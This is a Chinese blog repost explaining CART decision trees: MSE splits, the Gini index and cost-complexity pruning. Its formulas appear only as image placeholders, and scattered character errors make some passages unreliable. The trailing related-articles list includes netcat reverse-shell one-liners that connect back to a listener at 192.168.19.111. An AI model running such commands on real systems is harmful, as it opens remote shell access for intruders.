经典机器学习算法——决策树

优质博文:IT-BLOG-CN

树模型是机器学习中最常用的一类模型,包括随机森林、AdaBoost、GBDT(XGBoost和Lightgbm)等,基本原理都是通过集成弱学习器的即式来进一步提升准确度。这里的弱学习器包括线性模型和决策树模型,本期介绍的就是决策树模型(DecisionTree)。

决策树属于有监督学习,即可用于回归问题也能解决分类问题,对应的模型称为回归树和分类树。模型的结构采用树图形式展示:
在这里插入图片描述
其中圆圈表示分裂节点,矩形(右子结点)表示输出结果y。树也可以认为是运用if-then规则做预测的算法,而模型训练的本质就是寻找最优分裂节点(非右子结点)。

CART算法

常见的树模型有ID3、C4.和CART,其中CART全称为分类不回归树(ClassificationAndRe-gressionTee),本文主要介绍CART树。

假训训练集D中为特征集,为输出变量。CART采用二叉树结构,方内部节点特征的取值为“是”和“否”,左分支取值为“是”,右分支取值为“否”。一般使用递归方法生成树:
在这里插入图片描述
其中Xi为切分变量,a为切分点,CART树的生成过程就是寻找这两个变量的最优值过程。

回归树生成算法

首先根据给定的切分变和切分点定义B1和B2子集:在这里插入图片描述在这里插入图片描述

对于落入同一子集内的数据,CART树会输出相同的值在这里插入图片描述,一般采用平方误差(MSE)最小的准则来确定在这里插入图片描述,以B1为例:
在这里插入图片描述
针对给定的切分变量Xi,优化下式可得到最优切分点a:
在这里插入图片描述
通过遍历所有的特征变量找出最优切分变量,再以同样的方式对B1和B2子集做划分,直到满足停止条件

停止条件一般有:1、子集内的训练样本数小于预训的阈值;2、子集内的MSE小于预训的阀值.

分类树生成算法

CART算法中回归树和分类树的主要区别在于计算最优切分点a时采用的准则不同,前者采用了最小化MSE,后考利用基尼系数

先介绍基尼系数的定义,在分类问题中,输出变量的分类水平数为K,样本数据集为B,Ci表示B中属于第i类的样本子集,则数据集B的基尼系数为:
在这里插入图片描述
其中在这里插入图片描述在这里插入图片描述分别表示数据集C和B中的样本量。该指标反映了数据集B的不确定性,方基尼系数值越大,样本集B的不确定性越大。
在这里插入图片描述
对于给定的切分变量Xi和切分点a,数据集B被分割成B和B2两个子集:在这里插入图片描述在这里插入图片描述

在切分变量Xi和切分点a下,数据集B的基尼系数定义为:
在这里插入图片描述

该指标反映的是数据集B经过Xi=a分割后的不确定性。

在所有可能的特征以及它们所有可能的切分点中,选择基尼系数最小的特和切分点作为最优切分特和最优切分点,依次递归生成一棵CART分类树。

在寻找每个最优分裂节点时,对特征变和切分点的遍历实际上可以做并行计算,可以有效提高模型的训练速度。另外类似于线性模型,树模型也会存在过拟合的问题。

为了防止出现过拟合现象,一般树模型的训练过程中还会有剪枝的过程。剪枝的主要过程是去除那些训练样本量很小的叶节点以及没必要继续分裂的非叶子节点,仅而减小树的复杂度。

假设已生成一棵CART树T(待剪枝),那么用于对T剪枝的损失函数为:
在这里插入图片描述
其中C(T)为当前训练样本的预测误差,比如平方损失(MSE);α|T|为惩罚项,非负数α称为惩罚系数,|T|表示树T的复杂度,可以是叶子节点个数。

对于惩罚系数α有三种情况:
1、当α=0时,那么Cα(T)=C(T),此时无需作剪枝,T就是最优子树;
2、当α过小时,树模型的复杂度|T|对Cα(T)的影响偏小,此时剪枝过程侧重于降低预测误差,可能导致最优子树仍存在过拟合;
3、当α过大时,树模型的复杂度|T|对Cα(T)的影响偏大,此时剪枝过程侧重于简化树,可能导致最优子树欠拟合。

对于固定的α0,则必存在对应的最优子树T0。对于α序列{α0,α1,…,αn},有对应的最优子树序列{T0,T1,…,Tn},然后取最优子树中交叉验证集(CV)效果最好的那棵树作为最织的剪枝模型输出既可。

对于某个非叶子结点而言,剪枝前后的损失函数差值为:
在这里插入图片描述
其中|t|是指以t为根节点的子树复杂度,当diff=0说明剪枝操作不影响损失函数(一般仍会采取剪枝来降低模型复杂度);diff>0说明该节点t需要剪枝,此时:
在这里插入图片描述
取等时的临界值训为αt,计算出每个非叶子结点(内节点)的临界值后,叧要获取给定的α值既可知道该节点是否需要剪枝,仅而得出最优子树Tα。

将上述有关CART树剪枝的内容整理成如下算法步骤:
(1)输入生成的CART树T;
(2)遍历各内部节点并计算α临界值:在这里插入图片描述

(3)获得内部节点α临界值的序列a={α0,α1,…,αn};
(4)遍历a,得到相应的最优子树序列{T0,T1,…,Tk},k≤n;
(5)用CV法把最优子树序列{T0,T1,…,Tk}中验证误差最小的子树作为剪枝后的最优模型输出。

需要注意的是当α取不同值时,对应的最优子树可能相同,既剪枝方法相同,所以最优子树序列中的个数≤内部节点数。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/826815.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

大sql mysql执行

先把sql 拆分 太大的执行失败 使用 SQLDumpSplitter3 拆分sql 执行拆分的sql 拆分的sql 打开发现很多 ; 开头的空行 替换掉 正则 ^; 修改数据库 my.cnf my,ini 执行可能会提示 [ERR] 2006 - Server has gone away 错误 在 [mysqld] 添加以下几行 wait_timeout2880000 inter…

上位机工作感想-从C#到Qt的转变-1

0.前言 接触Qt开发也有一年多的时间了,还记得去年初从杭州回合肥时,刚来公司面临的几个问题: 1.C#转上位机的迷茫2.新公司管理模式的差异3.试用期的各种紧急任务。 当时也是加班加点学习C和Qt的基础知识,做了两个考核项目后&am…

解决Mac使用Vscode无法调用外部终端

前言 今天遇到一个很奇怪的问题,之前好好的用Vscode还能调用外部终端,怎么今天不行了?问题出在哪里呢?请听我娓娓道来。 检查配置文件 我查看了一下配置文件,发现配置文件都是调用外部控制台,没毛病啊。 …

【AI开发:音频】二、GPT-SoVITS使用方法和过程中出现的问题(GPU版)

1.FileNotFoundError: [Errno 2] No such file or directory: logs/guanshenxxx/2-name2text-0.txt 这个问题中包含了两个: 第一个:No module named pyopenjtalk 我的电脑出现的就是这个 解决:pip install pyopenjtalk 第二个&#xff1a…

快速排序题目SelectK问题(力扣75.颜色分类、力扣215.数组中的第K个最大元素、面试题17.14最小K个数)

力扣75.颜色分类 给定一个包含红色、白色和蓝色、共 n 个元素的数组 nums ,原地对它们进行排序,使得相同颜色的元素相邻,并按照红色、白色、蓝色顺序排列。 我们使用整数 0、 1 和 2 分别表示红色、白色和蓝色。 必须在不使用库内置的 sor…

从零开始的vscode配置及安装rust教程

配置vscode的rust环境 下载安装vscodemac 环境1. 下载安装rust2. 配置 mac vscode环境3. 创建一个测试项目 windows 环境1. 安装c运行环境2. 安装配置rustup3. 配置windows vscode环境4. 创建一个测试项目 下载安装vscode 1.官网应用程序下载 vscode:https://code.v…

注意力机制中多层的作用

1.多层的作用 在注意力机制中,多层的作用通常指的是将注意力机制堆叠在多个层上,这在深度学习模型中被称为“深度”或“多层”注意力网络。这种多层结构的作用和实现过程如下: 1. **逐层抽象**:每一层都可以捕捉到输入数据的不同…

在ubuntu20.04下迁移anaconda的目录,试验不行后,换成软连接

一、原因 随着不断的搭建不同的算法环境,原本在固态硬盘上安装的anaconda上占用空间越来越多。导致可用的固态硬盘空间越来越少,又因安装的环境太多,重新搭建比较费时费力。有没有直接将当前已经搭建好环境的anaconda 迁移到另外的目录呢&…

SAP 销售业务中免费货物的会计核算

此博文主要介绍SAP销售业务中免费货物解决方案中,免费货物的会计核算。如果需要进一步了解SAP SD 销售与分销业务中,免费货物的标准解决方案概览,可先了解本博客博文:SAP销售与分销中的免费货物解决方案相关文章: htt…

Python 全栈安全(一)

原文:annas-archive.org/md5/712ab41a4ed6036d0e8214d788514d6b 译者:飞龙 协议:CC BY-NC-SA 4.0 前言 序言 多年前,我在亚马逊搜索了一本基于 Python 的应用程序安全书。我以为会有多本书可供选择。已经有了很多其他主题的 Pyt…

【设计模式】单例模式|最常用的设计模式

写在前面 单例模式是最常用的设计模式之一,虽然简单,但是还是有一些小坑点需要注意。本文介绍单例模式并使用go语言实现一遍单例模式。 单例模式介绍 简介 单例模式保证一个类仅有一个实例,并提供一个访问它的全局访问点。 使用场景&#…

DC学习笔记

视频 数字逻辑综合工具实践 DC 01_哔哩哔哩_bilibili 一、DC工作模式(此小节为搬运内容) 原链接:Design_Compiler User Guide 随手笔记(9)Using Floorplan Information - 知乎 DC拥有四种工作模式: 工…

项目7-音乐播放器6+评论区

1.准备前端界面 前端小白:怎么为你的网页增加评论功能?(一)_为网页添加评论区怎么弄-CSDN博客 参考的上述文章的前端代码 我们从上述前端图片知道,我们数据库需要准备的字段: id,commentuserName,coomen…

字节FE:JavaScript学习路线图

JavaScript简介 JavaScript是一种高级的、解释执行的编程语言。它是互联网的三大核心技术之一,与HTML和CSS一同工作,用于创建交互式的网页。JavaScript被所有现代网页浏览器支持而不需要任何插件。它可以增强用户界面和网页的交互性,可以进行…

kali /mac 成功的反弹shell语句

mac &#xff1a;192.168.19.107 kali:192.168.19.111 kali 监听mac : nc -lvvp 6666 mac执行&#xff1a; 1: mknod backpipe p && nc 192.168.19.111 6666 0<backpipe | /bin/bash 1>backpipe 2: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&…

Jupyter的下载与安装

1.下载&#xff1a; 在anaconda的指定环境中 conda install nb_conda_kernels 2.打开 在anaconda指定环境中使用命令&#xff1a; jupyter notebook 3.输入指令后&#xff0c;会显示如下&#xff0c;根据显示地址打开 3. 在右边的new按钮处&#xff0c;选择相应环境&…

Redis中的慢查询日志(一)

慢查询日志 概述 Redis的慢查询日志功能用于记录执行时间超过给定时长的命令请求&#xff0c;用户可以通过这个功能产生的日志来 监视和优化查询速度。服务器配置有两个和慢查询日志相关的选项: 1.slowlog-log-slower-than选项指定执行时间超过多少微妙(1秒1000 000微妙)的命…

Sulley入门教学——简介、安装(Win7、VMware)

1、简介 Sulley 是由 Pedram Amini 和 Aaron Portnoy 开发的开源工具。它以 Python 编写&#xff0c;可以轻松地在不同平台上部署和使用。Sulley 提供了一个灵活且功能强大的框架&#xff0c;允许用户定义协议消息的结构、字段类型、边界条件和模糊测试策略。用户可以使用 Sul…

【Redis】List 数据类型

文章目录 常用命令lpush & lpushxrpush & rpushxlrange & lpop & rpoplindex & linsertllen 阻塞版本的命令内部编码 列表类型是⽤来存储多个有序的字符串&#xff0c;⼀个列表最多可以存储 2^32 - 1 个元素&#xff0c;允许有重复的元素。 列表在两端都可…

Qt基础之四十六:Qt界面中嵌入第三方程序的一点心得

本文主要讲解QWidget和QWindow的区别,以及如何在QWidget中嵌入第三方程序,并完美解决在QWidget中嵌入某些程序(比如Qt程序)时出现的白边问题。 下面是嵌入QQ音乐的样子,这首歌还不错。 先用spy++查看QQ音乐的窗口信息,如果安装了Visual Studio,工具菜单里自带spy++ 然后…